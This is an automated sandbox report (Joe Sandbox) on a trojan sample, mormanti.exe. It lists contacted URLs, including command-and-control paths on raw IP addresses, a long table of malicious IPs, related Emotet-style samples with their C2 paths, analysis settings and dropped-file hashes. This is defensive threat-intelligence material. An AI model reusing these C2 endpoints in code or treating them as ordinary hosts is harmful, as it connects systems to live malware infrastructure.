http://66.228.49.173:8080/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/	eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://appexmapsappupdate.blob.core.windows.net	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000E.00000002.309089370.00000265B8A13000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	false		high
http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/CL:	eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp	false		high
http://149.62.173.247/kH8ALNiaGV/5bEuMKuJNKlslD3n/rvXy2RpDwZlslOQBeY7/BCLTdgbwF6J8vsIGfDq/jZ9iV8xFle	eventvwr.exe, 00000002.00000003.394916417.00000000034DC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.286870020.00000265B8A31000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000E.00000002.309177417.00000265B8A58000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.309089370.00000265B8A13000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.286870020.00000265B8A31000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000002.309177417.00000265B8A58000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	svchost.exe, 00000006.00000002.466806888.0000022B0E690000.00000002.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.309153516.00000265B8A42000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000E.00000003.308721293.00000265B8A3A000.00000004.00000001.sdmp	false		high
http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/6O	eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/:	eventvwr.exe, 00000002.00000002.466095172.0000000002ED6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000002.309177417.00000265B8A58000.00000004.00000001.sdmp	false		high
http://58.171.153.81/j4XmHhlvX7h4pe/uu11HumRcyQn/3XzJ/ymPM07W/vKmfGodTznrrD/	eventvwr.exe, 00000002.00000003.334412522.00000000034DC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com	svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
149.62.173.247	unknown	Spain	50926	INFORTELECOM-ASES	true
191.182.6.118	unknown	Brazil	28573	CLAROSABR	true
104.131.103.37	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
204.225.249.100	unknown	Canada	22652	FIBRENOIRE-INTERNETCA	true
94.176.234.118	unknown	Lithuania	62282	RACKRAYUABRakrejusLT	true
70.32.84.74	unknown	United States	398110	GO-DADDY-COM-LLCUS	true
177.73.0.98	unknown	Brazil	53184	INBTelecomEIRELIBR	true
12.162.84.2	unknown	United States	7018	ATT-INTERNET4US	true
116.125.120.88	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
58.171.153.81	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
170.81.48.2	unknown	Brazil	263634	TACNETTELECOMBR	true
219.92.13.25	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	true
202.62.39.111	unknown	Cambodia	23673	ONLINE-ASCogetelOnlineCambodiaISPKH	true
209.236.123.42	unknown	United States	393398	ASN-DISUS	true
213.181.91.224	unknown	Spain	49000	TELECABLEJUMILLA-ASES	true
5.196.35.138	unknown	France	16276	OVHFR	true
187.162.248.237	unknown	Mexico	6503	AxtelSABdeCVMX	true
189.2.177.210	unknown	Brazil	4230	CLAROSABR	true
93.151.186.85	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
217.199.160.224	unknown	United Kingdom	20738	GD-EMEA-DC-LD5GB	true
114.109.179.60	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	true
143.0.87.101	unknown	Brazil	263998	MMTelecomBR	true
186.103.141.250	unknown	Chile	15311	TelefonicaEmpresasCL	true
77.90.136.129	unknown	Germany	42821	RAPIDNET-DEHaunstetterStr19DE	true
181.129.96.162	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	true
50.28.51.143	unknown	United States	32244	LIQUIDWEBUS	true
68.183.190.199	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
94.206.45.18	unknown	United Arab Emirates	15802	DU-AS1AE	true
190.17.195.202	unknown	Argentina	10318	TelecomArgentinaSAAR	true
73.116.193.136	unknown	United States	7922	COMCAST-7922US	true
82.76.111.249	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	true
189.194.58.119	unknown	Mexico	13999	MegaCableSAdeCVMX	true
80.249.176.206	unknown	Russian Federation	31376	SMART-ASRU	true
145.236.8.174	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	true
191.99.160.58	unknown	Ecuador	27738	EcuadortelecomSAEC	true
217.13.106.14	unknown	Hungary	12301	INVITECHHU	true
147.91.184.91	unknown	Serbia	13092	UB-ASRS	true
68.183.170.114	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
81.198.69.61	unknown	Latvia	12578	APOLLO-ASLatviaLV	true
177.66.190.130	unknown	Brazil	262502	FLYLinkTelecomBR	true
177.72.13.80	unknown	Brazil	52814	INTERNETPLAYLTDABR	true
61.92.159.208	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	true
178.79.163.131	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
46.28.111.142	unknown	Czech Republic	197019	WEDOSCZ	true
77.55.211.77	unknown	Poland	15967	NAZWAPL	true
190.163.31.26	unknown	Chile	22047	VTRBANDAANCHASACL	true
137.74.106.111	unknown	France	16276	OVHFR	true
172.104.169.32	unknown	United States	63949	LINODE-APLinodeLLCUS	true
72.47.248.48	unknown	United States	31815	MEDIATEMPLEUS	true
181.120.79.227	unknown	Paraguay	23201	TelecelSAPY	true
89.32.150.160	unknown	Romania	43927	HOSTERIONRO	true
104.131.41.185	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
186.250.52.226	unknown	Brazil	262807	RedfoxTelecomunicacoesLtdaBR	true
87.106.46.107	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
177.144.135.2	unknown	Brazil	27699	TELEFONICABRASILSABR	true
217.160.182.191	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
201.213.156.176	unknown	Argentina	10481	TelecomArgentinaSAAR	true
83.169.21.32	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
70.32.115.157	unknown	United States	31815	MEDIATEMPLEUS	true
213.60.96.117	unknown	Spain	12334	Galicia-SpainES	true
212.231.60.98	unknown	Spain	15704	AS15704ES	true
181.36.42.205	unknown	Dominican Republic	28118	ALTICEDOMINICANASADO	true
104.131.103.128	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
190.190.148.27	unknown	Argentina	10481	TelecomArgentinaSAAR	true
190.6.193.152	unknown	Honduras	27884	CABLECOLORSAHN	true
51.255.165.160	unknown	France	16276	OVHFR	true
212.71.237.140	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
185.94.252.27	unknown	Germany	197890	MEGASERVERS-DE	true
2.47.112.152	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
104.236.161.64	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
192.241.143.52	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
192.241.146.84	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
45.161.242.102	unknown	Brazil	268479	AntonioMarcosdosSantos-MEBR	true
66.228.49.173	unknown	United States	63949	LINODE-APLinodeLLCUS	true
190.147.137.153	unknown	Colombia	10620	TelmexColombiaSACO	true
82.196.15.205	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
111.67.12.221	unknown	Australia	55803	DIGITALPACIFIC-AUDigitalPacificPtyLtdAustraliaAU	true
177.74.228.34	unknown	Brazil	263652	CMDNETInternetInformaticaLtdaBR	true
91.219.169.180	unknown	Ukraine	52191	LOCALKA-NET-AS	true
185.94.252.12	unknown	Germany	197890	MEGASERVERS-DE	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	449959
Start date:	16.07.2021
Start time:	17:05:22
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mormanti.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@17/8@0/81
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 40.8% (good quality ratio 34%) Quality average: 59.9% Quality standard deviation: 36.4%
HCA Information:	Successful, ratio: 89% Number of executed functions: 14 Number of non-executed functions: 40
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 20.82.210.154, 52.147.198.201, 104.42.151.234, 23.211.6.115, 20.50.102.62, 23.35.236.56, 40.112.88.60, 8.238.85.126, 67.26.117.254, 8.241.89.254, 8.241.89.126, 8.238.85.254, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, fs.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:06:35	API Interceptor	2x Sleep call for process: svchost.exe modified
17:07:51	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
149.62.173.247	4IyFGqHAVD.exe	Get hash	malicious	Browse	149.62.173.247:8080/IBsG2ITcQO3MqUs1a/eWW1CTn3/VLHN/zvqFvAYTs8Wn1umCE/
	3svzK4vdKM.exe	Get hash	malicious	Browse	149.62.173.247:8080/V3H3/psfTQ/T6gzY4u9nPfs/
	2ToKPHUu99.exe	Get hash	malicious	Browse	149.62.173.247:8080/87Cxqpcon5mO7BWL/kNWYVSfiQZ1/XJcpkT2gFE/Hco5ZCWlpmRP/zLI7rXAgPV20IUMXnp0/
	kzE7zbx.exe	Get hash	malicious	Browse	149.62.173.247:8080/dlbDdKCLEFM/kILzAtumIq4D8Z50q/
	CKPeR3qE.exe	Get hash	malicious	Browse	149.62.173.247:8080/Gb1SCLpYr1nryoMy/
	FhkjwhQzcCHjL5eJAPSd.exe	Get hash	malicious	Browse	149.62.173.247:8080/O3IlwiDkTOJb9kSszV/
	PWALJSok9Jmx.exe	Get hash	malicious	Browse	149.62.173.247:8080/UEN3UQF/RPhkq/Thdgzp8FPfhtu5Kzeq/jbAoM9TOYekxcG3f/
	XmlHuNZL0oAoQ.exe	Get hash	malicious	Browse	149.62.173.247:8080/09OFIpDnBnX6Ch9VQR/
	zH2RXXcJJRwzkFPvoiO.exe	Get hash	malicious	Browse	149.62.173.247:8080/TUUPUH/g2IoLl6V0MswbJJvtr/zFXxOI/
	List-20200731-79226.doc	Get hash	malicious	Browse	149.62.173.247:8080/gC8G5H3mS6JLGBy7kW/eFDaGGEbn/6oQ6Pr5pkoT/
	LIST-20200731-88494.doc	Get hash	malicious	Browse	149.62.173.247:8080/1COfPTBiLdjTj/3uD573T7jVFWo/
	Rep_20200731.doc	Get hash	malicious	Browse	149.62.173.247:8080/16fP0l2bHkKP/yllWZmZ8qJUp3b5wMA5/8jJDZebNHK64THon/
	messaggio_072020.doc	Get hash	malicious	Browse	149.62.173.247:8080/HwFR5iVEHHADWDZIQtY/JEbgpm3H3Dba/F68osD9sJD6glZa/EYYDB32/uZcdM8DI/ONVv5X8DQM593V/
	File 072020.doc	Get hash	malicious	Browse	149.62.173.247:8080/B4RsHPT/aFO997jDYlKpx/
	SecuriteInfo.com.Emotet-FROC3EC4AC84139.exe	Get hash	malicious	Browse	149.62.173.247:8080/ezcsx8phECXl/oUCR96bNNx/gxL6EXuCo05e1gD/
	SecuriteInfo.com.Emotet-FRO9F97F1034DC9.exe	Get hash	malicious	Browse	149.62.173.247:8080/XBUhtV6sX6/m779xLLC04UeYEs/ScltlmqyP4XZ8/5A8BpJp5AfE/SY44egi1/
	doc-20200730-FFF8570.doc	Get hash	malicious	Browse	149.62.173.247:8080/aXKPKdd3SCmd/
	Rep_20200730_K264404.doc	Get hash	malicious	Browse	149.62.173.247:8080/ynBo0VuXDLlNeLaPaE/
	rep-0168630.doc	Get hash	malicious	Browse	149.62.173.247:8080/6ozhezxENEAqUETEyn/
	00_29_G-087448.doc	Get hash	malicious	Browse	149.62.173.247:8080/J6jxvFJ3SOWdv/80iHzW50w9Thz/N513Uqua/dDyHLa4nW7VJ9x9/
104.131.103.37	2ToKPHUu99.exe	Get hash	malicious	Browse
	tvNMxIhI.exe	Get hash	malicious	Browse
	YpVLv2JU.exe	Get hash	malicious	Browse
204.225.249.100	http://204.225.249.100	Get hash	malicious	Browse	204.225.249.100/favicon.ico

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLAROSABR	i	Get hash	malicious	Browse	189.33.64.216
	Q8qbmLCf1b	Get hash	malicious	Browse	201.65.97.21
	segYCksCNt.exe	Get hash	malicious	Browse	189.103.150.9
	mssecsvr.exe	Get hash	malicious	Browse	179.211.205.91
	fraps.exe	Get hash	malicious	Browse	187.69.114.104
	2126316AB22061FED599E07630759E814DB86A71B0001.exe	Get hash	malicious	Browse	201.80.87.3
	mon117_cr(1).dll	Get hash	malicious	Browse	187.20.217.129
	x86_unpacked	Get hash	malicious	Browse	191.186.71.139
	ppc_unpacked	Get hash	malicious	Browse	179.217.83.5
	ldr.sh	Get hash	malicious	Browse	201.30.209.174
	MGuvcs6Ocz	Get hash	malicious	Browse	189.52.247.3
	z3hir.x86	Get hash	malicious	Browse	201.39.243.114
	YPJ9DZYIpO	Get hash	malicious	Browse	179.211.54.16
	godrop.exe	Get hash	malicious	Browse	189.53.70.50
	SecuriteInfo.com.Heur.4905.xls	Get hash	malicious	Browse	187.20.217.129
	MV9tCJw8Xr.exe	Get hash	malicious	Browse	200.243.153.66
	wEcncyxrEe	Get hash	malicious	Browse	187.68.37.156
	WUHU95Apq3	Get hash	malicious	Browse	179.219.28.135
	oHqMFmPndx.exe	Get hash	malicious	Browse	189.34.127.42
	svchost.exe	Get hash	malicious	Browse	179.216.199.141
DIGITALOCEAN-ASNUS	deepRats.exe	Get hash	malicious	Browse	37.139.8.104
	DpuO7oic9y.exe	Get hash	malicious	Browse	157.245.127.231
	Loader.exe	Get hash	malicious	Browse	157.245.5.40
	Machine Service.xlsx	Get hash	malicious	Browse	188.166.192.89
	Machine Service.xlsx	Get hash	malicious	Browse	188.166.192.89
	c22MANsVPI.xls	Get hash	malicious	Browse	128.199.243.169
	document.xlsm	Get hash	malicious	Browse	138.68.174.10
	document.xlsm	Get hash	malicious	Browse	138.68.174.10
	document.xlsm	Get hash	malicious	Browse	138.68.174.10
	document.xlsm	Get hash	malicious	Browse	138.68.174.10
	lNiby9ahcU.jar	Get hash	malicious	Browse	157.230.10.241
	2UUlKfJYJN.exe	Get hash	malicious	Browse	162.243.173.152
	r3Bdb4R6aX.exe	Get hash	malicious	Browse	68.183.192.109
	P7bm3wqSDh.xls	Get hash	malicious	Browse	128.199.243.169
	T7lwV5Cutg.exe	Get hash	malicious	Browse	178.62.61.85
	RFQ_GS_45_009_GlobalSuppl_.xlsx	Get hash	malicious	Browse	178.62.61.85
	9yW6QklfU7.exe	Get hash	malicious	Browse	178.62.61.85
	SPARE PARTS Provision List.xlsx	Get hash	malicious	Browse	178.62.61.85
	04006279e16979c72a6ffa4266149e911d3f3399183b3.exe	Get hash	malicious	Browse	165.22.105.227
	748dYNDiTO.exe	Get hash	malicious	Browse	68.183.192.109
INFORTELECOM-ASES	005AS7SD44F4H7J7I4D7DF4s44ffg7hj44g4d7d44d.js	Get hash	malicious	Browse	149.62.168.145
	005AS7SD44F4H7J7I4D7DF4s44ffg7hj44g4d7d44d.js	Get hash	malicious	Browse	149.62.168.145
	56UDmImzPe.dll	Get hash	malicious	Browse	31.24.158.56
	PowerShell_Input.ps1	Get hash	malicious	Browse	5.175.41.244
	Sample.doc	Get hash	malicious	Browse	5.175.41.244
	Sample.doc	Get hash	malicious	Browse	5.175.41.244
	3zuPInon2U.dll	Get hash	malicious	Browse	31.24.158.56
	3zuPInon2U.dll	Get hash	malicious	Browse	31.24.158.56
	lZyOllK1Rs.dll	Get hash	malicious	Browse	31.24.158.56
	lZyOllK1Rs.dll	Get hash	malicious	Browse	31.24.158.56
	3ZXUCm62TH.dll	Get hash	malicious	Browse	31.24.158.56
	3ZXUCm62TH.dll	Get hash	malicious	Browse	31.24.158.56
	y3JQD3Xzos.dll	Get hash	malicious	Browse	31.24.158.56
	y3JQD3Xzos.dll	Get hash	malicious	Browse	31.24.158.56
	MmTsqqQREG.dll	Get hash	malicious	Browse	31.24.158.56
	MmTsqqQREG.dll	Get hash	malicious	Browse	31.24.158.56
	ZchEM36552.dll	Get hash	malicious	Browse	31.24.158.56
	yLmDpCx1xp.dll	Get hash	malicious	Browse	31.24.158.56
	dnW1mfW27L.dll	Get hash	malicious	Browse	31.24.158.56
	K0or0EZubp.dll	Get hash	malicious	Browse	31.24.158.56

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.5918524708219107
Encrypted:	false
SSDEEP:	6:b8ek1GaD0JOCEfMuaaD0JOCEfMKQmDjjAl/gz2cE0fMbhEZolrRSQ2hyYIIT:b8NGaD0JcaaD0JwQQjjAg/0bjSQJ
MD5:	9EB1288EAAF777CF31B19FC8052D9DDD
SHA1:	D0366555B0FF7D5F716C215B7253373231FE1F4B
SHA-256:	1AB4A321F9958011E0E2AA7DF522A3567EFC956F36513C512EEA3BBA3F7E2F22
SHA-512:	E916EAE79313765EBED1A5A407594EEBAD546A7963C3E6E96FBC869B431BB491C40E973D58FC69D1D9977855B8FAC8002D1C435E855378A1508DF71343C6752E
Malicious:	false
Preview:	....E..h..(.....#....yq.............. ..1C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................#....yq...........&......e.f.3...w.......................3...w..................h..C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b...G............................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0656ce7e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09325297057693027
Encrypted:	false
SSDEEP:	6:agAzwl/+z6RIE11Y8TRXuo/Xx1qKIgAzwl/+z6RIE11Y8TRXuo/Xx1qK:aX0++O4blj/h1qKIX0++O4blj/h1qK
MD5:	01DC05B086437F44DADEBE72F42AE6E4
SHA1:	5ED9C40BDF29C734FDB24E80573BFAB46285828A
SHA-256:	88194003F7E242AECDD75F00695B39A37441BF6C57A9812A12F9F7735BD43BA3
SHA-512:	C1CFDEBA81E79AC3C92B208FD5E625E9625D853F518F0114FB6DF66EA1530A87F10A125A99E9E6FF3E6556568B0DC84B4C356173A2362B656E7B81698EDAB9B3
Malicious:	false
Preview:	.V.~... ................e.f.3...w........................&..........w..#....yq.h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................t\..#....yqk................M...#....yq.........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.10801090337418041
Encrypted:	false
SSDEEP:	3:kE17EvGZ0i0lcSXl/bJdAtizjlD/ill:kE1iGZ0hlc8t4U1G
MD5:	518B806DEB454B700E818B345A95C61C
SHA1:	53C2FB38B4AB68FC2414D36920212E45895260FB
SHA-256:	6F4DEAA5EDE225FB203717C88BAE62EB1EE0789B07C1548185C9338FE5A29C7A
SHA-512:	D17D2469510FA2AA3F080A8EF6C8D2657E0CB6AE65D5930FD08BB94A32CB5C2E0F7844FB991FDED7885E5D209269F718A76844CEA288CBBCBAC71EFA55C18F27
Malicious:	false
Preview:	k........................................3...w..#....yq......w...............w.......w....:O.....w..................M...#....yq.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11017776630826032
Encrypted:	false
SSDEEP:	12:265Xm/Ey6q99954Klq3qQ10nMCldimE8eawHjcmj:26kl68wLyMCldzE9BHjc8
MD5:	D8C933C4D3562115CDA8EC19E4C40BAB
SHA1:	B56A16C4CCB98D25D5DFE0F211C87C28F6BAE8D5
SHA-256:	FAE8B7380E73264FFA75864B9F212C841A62D927153EC739D80DEDB876A482BB
SHA-512:	E75F13F453D4619F7722B799A8CAA47EF12184BFF7394309A12DEF148B5BA7DB20D6EA2A512B27B86B380BF6DE624F68B2AF8408D90F356517888C8524EAD3CA
Malicious:	false
Preview:	........................................................................................t.S......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................=.m.*..... .....-[...z..........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P..........S.....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11280925407263487
Encrypted:	false
SSDEEP:	12:UrXm/Ey6q999549r1z1miM3qQ10nMCldimE8eawHza1miI5Z:/l684h1tMLyMCldzE9BHza1tIn
MD5:	9D91B6F5D908F8FA9457289284D99D90
SHA1:	7FA4F2CC6A51660A2767B533B9629484DD209C00
SHA-256:	348FCA3B1B0151D5A3E0AB8F2EC51DD4404ABDB779CB3319255F5C4B7C7E77CF
SHA-512:	110A3DEE834FB3E03DA0152E809F2CD0A50294CFF62DB8CA2C9E96F9324729840EB44DCCC46D2815F50D14ED61A67CFBE06D5F2550A8FF48DEE6A0F43087CB09
Malicious:	false
Preview:	.........................................................................................nQ......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................=.m.*..... ........z..........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.........<yQ.....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11273590727037369
Encrypted:	false
SSDEEP:	12:U0Xm/Ey6q99954iH0z1mK2P3qQ10nMCldimE8eawHza1mKQe:Al68S1iPLyMCldzE9BHza13
MD5:	0573B48E6E823B072B981744C4EC755A
SHA1:	B0AC5879397474AF40AEE8E06E193A277A89D30C
SHA-256:	CAFED707C6D08E422CC295DD756129A2BDA528D830225142ABD5F4862CEAF3DC
SHA-512:	33F8D03E6DAC4E202ECAFE1D7491E131E8496D25FB8A0DF090EF7397B45350B9DEE82D286BA184EBD0DC319D92CC817AFFCB7CA5B3D1A42340A6156DC78C4F97
Malicious:	false
